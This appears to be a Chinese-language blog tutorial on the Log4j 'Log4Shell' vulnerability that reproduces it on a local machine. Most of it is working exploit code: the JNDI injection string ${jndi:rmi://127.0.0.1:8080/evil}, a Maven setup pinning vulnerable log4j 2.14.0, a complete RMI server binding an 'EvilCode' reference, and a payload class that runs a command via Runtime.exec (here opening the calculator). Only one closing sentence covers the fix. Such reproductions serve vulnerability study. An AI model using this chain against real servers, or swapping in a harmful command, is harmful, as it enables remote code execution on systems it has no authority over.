前言:
十幾天前,log4j被爆出“史詩級”漏洞。其危害非常大,影響非常廣。該漏洞非常容易利用,可以執行任意代碼。這個漏洞的影響可謂是重量級的。
漏洞描述:
由於Apache Log4j存在遞歸解析功能,未取得身份認證的用戶,可以從遠程發送數據請求輸入數據日志,輕松觸發漏洞,最終在目標上執行任意代碼。簡單點說,就是可以通過輸入一些具有特殊意義的字符來攻擊服務器。
如果入侵者在前端頁面上輸入了:${jndi:rmi://127.0.0.1:8080/evil} 這串字符, 然后后台用log4j記錄了這串字符, log4j會自動使用jndi調用這個地址上的rmi內容。如果這個rmi的內容是刪除數據庫,重啟服務器這種惡意程序,被攻擊之后還是趁早跑路吧。(開個玩笑)
關於JNDI:
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java EE的重要部分,需要注意的是它並不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。
關於RMI:
漏洞復現:
首先,可以先創建一個普通的maven項目, 在pom中引入log4j2.14.0
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies>
再創建一個用於開啟RMI服務端的java文件
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException { LocateRegistry.createRegistry(8080); final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080); Reference ref = new Reference("EvilCode", "EvilCode", null); final ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("evil", referenceWrapper); System.out.println("啟動成功"); } }
再創建EvilCode惡意程序攻擊類, 這里由於是自己的電腦, 還是用經典的calc計算器舉粟
public class EvilCode { static { System.err.println("打開計算器"); try { Runtime.getRuntime().exec("calc"); } catch ( Exception e ) { e.printStackTrace(); } } }
最后創建一個啟動類, 用於模擬我們的服務器程序, 使用log4j打印日志
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Main { static Logger logger = LogManager.getLogger(); public static void main(String[] args) { //用input局部變量來模擬入侵者輸入的內容 String input = "${jndi:rmi://127.0.0.1:8080/evil}"; //這里直接用log4j輸入 logger.error(input); } }
先啟動RMIServer, 再啟動Main, 可以看到, 計算器被彈出了:
可以升級log4j最新版本或者更新jdk較高版本來解決這個問題